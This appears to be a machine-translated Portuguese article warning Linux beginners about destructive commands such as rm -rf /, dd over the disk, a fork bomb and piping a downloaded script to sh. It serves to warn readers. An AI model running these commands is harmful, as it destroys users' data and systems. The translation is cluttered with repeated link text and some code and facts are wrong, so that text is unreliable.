O Linux pode ser uma faca de dois gumes. Assume que você sabe o que está fazendo e lhe dá a liberdade de fazer o que quiser. Não vai te questionar. Isso é conveniente quando você realmente sabe o que está fazendo, mas também significa que você pode tornar seu sistema inutilizável em segundos.
Novo na linha de comando do Linux? Não se preocupe. Comece com o nosso guia de início rápido do terminal Linux Um guia rápido para começar a usar a linha de comando do Linux Um guia rápido para começar a usar a linha de comando do Linux Você pode fazer muitas coisas incríveis com comandos no Linux e não é difícil de aprender. Leia mais junto com esses 40 comandos essenciais do Linux Um AZ de Linux - 40 Comandos essenciais que você deve conhecer Um AZ de Linux - 40 Comandos essenciais que você deve conhecer O Linux é a terceira roda ignorada pelo Windows e Mac. Sim, na última década, o sistema operacional de código aberto ganhou muita tração, mas ainda está longe de ser considerado ... Leia Mais. Com esses dois recursos, você se familiarizará com a linha de comando rapidamente.
Mas se você é um novato ou veterano do Linux, nunca deve executar um comando a menos que saiba exatamente o que ele faz. Aqui estão alguns dos mais mortíferos comandos do Linux que você, na maioria das vezes, quer evitar.
Excluir recursivamente
A capacidade do Linux para excluir qualquer coisa que você queira, sem dúvida, é uma dádiva, especialmente depois de lidar com anos de erros “Esse arquivo não pode ser excluído” no Windows. Mas os trolls da Internet serão rápidos em enganá-lo, apresentando a você comandos de remoção extremamente perigosos que podem limpar discos rígidos inteiros.
rm -rf /
Esta linha executa o comando remove rm com dois toggles: -r que força a exclusão recursiva através de todos os subdiretórios e -f que força a exclusão de arquivos somente leitura sem confirmação. O comando é executado no diretório / root, essencialmente limpando todo o seu sistema.
Note que, atualmente, na maioria dos sistemas Linux, se você tentasse fazer isso, receberia um aviso. Mas o aviso não é garantido, então não faça isso.
Formatar disco rígido
O terminal é especialmente complicado para os novatos do Linux, pois oferece várias maneiras de limpar acidentalmente o disco rígido. A exclusão recursiva é grande, mas aqui está outra:
mkfs.ext3 /dev/hda
Este comando formata o disco rígido para usar o sistema de arquivos ext3. Como formatar seu disco FAT32 para NTFS - e as vantagens de fazê-lo Você pode não saber, mas escolher o sistema de arquivos certo para suas unidades é realmente muito importante. Embora a idéia principal de todos os sistemas de arquivos seja a mesma, existem muitas vantagens e desvantagens sobre cada uma delas ... Read More não é uma ação inerentemente maliciosa, mas "redefine" a unidade de forma que ela seja "tão boa quanto nova". Em outras palavras, um disco rígido formatado é como uma lousa em branco.
A formatação é útil para partições de disco e unidades externas, mas sua execução em um disco rígido inteiro (como / dev / hda ) é perigosa e pode deixar seu sistema em um estado irrecuperável.
Sobrescrever disco rígido
Como se a formatação acidental de disco não fosse ruim o suficiente, é possível sobrescrever seu disco rígido usando dados brutos. Pelo menos a formatação do disco é um procedimento real com usos reais; Sobrescrever diretamente a unidade, por outro lado, não é tão grande.
command >/dev/hda
No comando acima, o comando pode ser substituído por qualquer comando Bash. O operador > redireciona a saída do comando à esquerda para o arquivo à direita. Neste caso, não importa qual é a saída do comando esquerdo. Os dados brutos estão sendo redirecionados e usados para sobrescrever o disco rígido do sistema.
Como você pode imaginar, isso torna inútil.
Limpe o disco rígido
Aqui está outra maneira de arruinar seu sistema. Desta vez, o comando irá zerar completamente o seu disco rígido. Nenhuma corrupção de dados ou substituições; literalmente encherá seu disco rígido com zeros. Um disco rígido não fica mais limpo do que isso.
dd if=/dev/zero of=/dev/hda
O comando dd é uma instrução de baixo nível que é usada principalmente para gravar dados em unidades físicas. O parâmetro if determina a fonte de dados, que neste caso é / dev / zero, um especial no Linux que produz um fluxo infinito de zeros. O parâmetro de determina o destino desses zeros, que é a unidade / dev / hda .
Sim, existem razões legítimas para zerar uma unidade, mas se você não sabe quais são essas razões, então você vai querer ficar longe deste comando.
Implodir Disco Rígido
Se você está cansado de ouvir maneiras de destruir seu disco rígido, aguarde. Aqui está mais um para você. No Linux, existe um arquivo especial chamado / dev / null que irá descartar quaisquer dados gravados nele. Você pode pensar nisso como um buraco negro ou um triturador de arquivos: qualquer coisa dada a ele como entrada será comida para sempre.
mv / /dev/null
Você consegue identificar o perigo aqui? O comando mv tenta mover o diretório raiz do sistema / para o buraco negro de / dev / null . Este é um comando válido e o resultado é devastador: o disco rígido é comido e não sobra nada. Isso tornará seu sistema inutilizável.
Causa Pânico do Kernel
Windows tem a sua infame tela azul da morte do Windows 8 Crashing? Como facilmente solucionar problemas de tela azul e outros problemas Windows 8 Crashing? Como solucionar facilmente problemas de tela azul e outros O Windows 8 não é perfeito. Dito isso, a maioria das telas azuis e falhas de aplicativos não são culpa do Windows. Nossas dicas ajudarão você a identificar exatamente o que há de errado com seu PC e a corrigi-lo. Consulte Mais informação . E apesar dos mitos que flutuam por aí, o Linux não é um sistema perfeitamente seguro. 4 Mitos de segurança cibernética que devem morrer 4 Mitos de segurança cibernética que devem morrer Leia mais. Às vezes, ocorre um erro interno do qual a recuperação é impossível, portanto, o sistema decretará algo semelhante ao Blue Screen: um kernel panic .
dd if=/dev/random of=/dev/port echo 1>/proc/sys/kernel/panic cat /dev/port cat /dev/zero>/dev/mem
As complexidades dos comandos acima não são importantes aqui. O importante é que a execução de qualquer uma dessas linhas resultará em um pânico do kernel, forçando você a reinicializar seu sistema. É melhor ficar longe desses comandos, a menos que você tenha absoluta certeza de que sabe o que está fazendo.
Bomba de Garfo
Bash é a linguagem do terminal Linux Is Linux Confusing? Aqui estão os principais termos que você precisa saber O Linux é confuso? Aqui estão os principais termos que você precisa conhecer Hoje em dia, o Ubuntu e outras distribuições Linux modernas geralmente são instaladas sem problemas (e sem exigir nenhum conhecimento), mas à medida que você as usa, você inevitavelmente encontrará todos os tipos de terminologia. .. Leia mais e é poderoso. Não só pode executar comandos, mas também pode executar funções, o que torna fácil escrever scripts que podem automatizar as tarefas do sistema. Infelizmente, as funções não vêm sem o seu próprio conjunto de riscos.
:(){:|:&};:
Esse comando obscuro é chamado de fork fork, que é um tipo especial de kernel panic. Define uma função chamada : que se chama recursivamente duas vezes quando executada. Uma das chamadas recursivas acontece em primeiro plano, enquanto a outra acontece em segundo plano.
Em outras palavras, sempre que essa função é executada, ela gera dois processos filhos. Esses processos filhos geram seus próprios processos filhos e esse ciclo continua em um loop infinito. A única saída é reiniciar o sistema.
Executar script remoto
Aqui está um comando inocente que pode realmente ser útil no dia-a-dia em um sistema Linux. O wget recupera o conteúdo de uma URL da web, que pode ser usada para acessar sites ou baixar arquivos. No entanto, há um truque simples que o torna perigoso:
wget http://an-untrusted-url -O- | sh
A combinação acima faz o download do conteúdo do URL fornecido e o alimenta imediatamente ao comando sh, que executa o conteúdo baixado no terminal. Se o URL apontasse para um script mal-intencionado, você estaria selando seu próprio destino com esse comando.
Desabilitar Direitos do Comando Raiz
Este comando final é direto. Ele utiliza o comando rm comumente usado para desabilitar dois dos comandos mais importantes no Linux: sudo e su . Resumindo, esses dois permitem que você execute outros comandos com permissões de root. Sem eles, a vida no Linux seria miserável.
rm -f /usr/bin/sudo;rm -f /bin/su
É por isso que você não deve executar este comando. Força a exclusão de ambos os comandos do seu sistema sem qualquer confirmação, deixando você em um congestionamento. Existem maneiras de restaurar o que você excluiu As melhores maneiras de recuperar dados no Linux As melhores formas de recuperar dados no Linux Não importa se a culpa foi sua ou não, as coisas podem acontecer com os dados armazenados em seus dispositivos. Discos rígidos, unidades de estado sólido e mídia removível podem potencialmente "perder" arquivos por causa de vários ... Leia mais, mas nem sempre é fácil nem agradável.
Por favor, seja cuidadoso! Não tenha medo de brincar com o Linux Considerando o Linux? 10 perguntas comuns respondidas considerando o Linux? 10 Perguntas comuns respondidas Aqui estão as perguntas mais comuns que os usuários do Windows têm sobre o Linux. Depois de passar por esta lista de perguntas e respostas, você deve se sentir muito mais confiante em experimentar o Linux. Leia mais e o terminal de linha de comando, mas, ao mesmo tempo, faça sua pesquisa e nunca execute nada a menos que você esteja absolutamente certo do que faz. Se alguém lhe disser para “experimentar este comando”, verifique sempre o dobro e o triplo.
Você já executou um comando destrutivo? O que aconteceu? Alguém te enganou nisso? Compartilhe seus pensamentos e experiências conosco nos comentários!